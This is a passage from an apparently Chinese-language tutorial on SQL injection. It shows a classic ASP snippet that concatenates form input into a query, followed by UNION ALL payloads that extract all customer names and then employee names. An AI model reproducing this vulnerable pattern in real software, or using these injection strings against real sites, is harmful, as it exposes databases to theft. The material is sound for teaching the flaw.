| 测点定位弱点 SQL 注入的脆弱点发生在程序开发员构造一个WHERE 子句伴随着用户的输入的时候。比如,一个简单的ASP程序答应用户输入一个顾客的ID然后检索公司的全部人员的名字,假如顾客ID假如作为ASP页面的请求串的一部分返回,那么开发员可以编写下面的代码获得数据: strConn = "Provider=SQLOLEDB;Data Source=(local);" & _
"Database=Northwind;Integrated Security=SSPI"
Set cnn = Server.CreateObject("ADODB.Connection")
cnn.Open strConn
strQuery = "SELECT ContactName FROM Customers " & _
“WHERE CustomerID = '" & Request.Form("CustID") & "'"
Set rstResults = cnn.Execute(strQuery)
Response.Write(rstResults.Fields("ContactName").Value) |
现在你知道什么地方有问题了吧?假如用户知道一个用户的ID,他可以通过检索来获得全部的相应的名字。现在明白了? 获得额外的数据 当然,对于一个攻击程序,尽管它不知道任何顾客的ID,甚至不用去猜,它也可以获得数据。为了完成这个工作,它将下面的文本输入到应用程序调用顾客ID的textbox中: customer ID:
'UNION ALL SELECT ContactName FROM Customers
WHERE CustomerID <>' |
假如你输入了这个代码,你将会看到返回一个询问语句: SELECT ContactName FROM Customers
WHERE CustomerID = ''
UNION ALL SELECT ContactName FROM Customers
WHERE CustomerID <>'' |
通过获得空和非空顾客的ID并集,这个查询语句会返回数据库中所有的相关姓名。事实上,这个UNION技术可以被用来获得你数据库中大多数信息,看看这个CustomerID的值: 'UNION ALL SELECT FirstName ' ' LastName FROM
Employees WHERE LastName <>' |
它将SQL语句变成: SELECT ContactName FROM Customers
WHERE CustomerID = ''
UNION ALL SELECT FirstName ' ' LastName FROM
Employees WHERE LastName <>'' |
|
| 共3页: 上一页 [1] 2 [3] 下一页 |
评论加载中…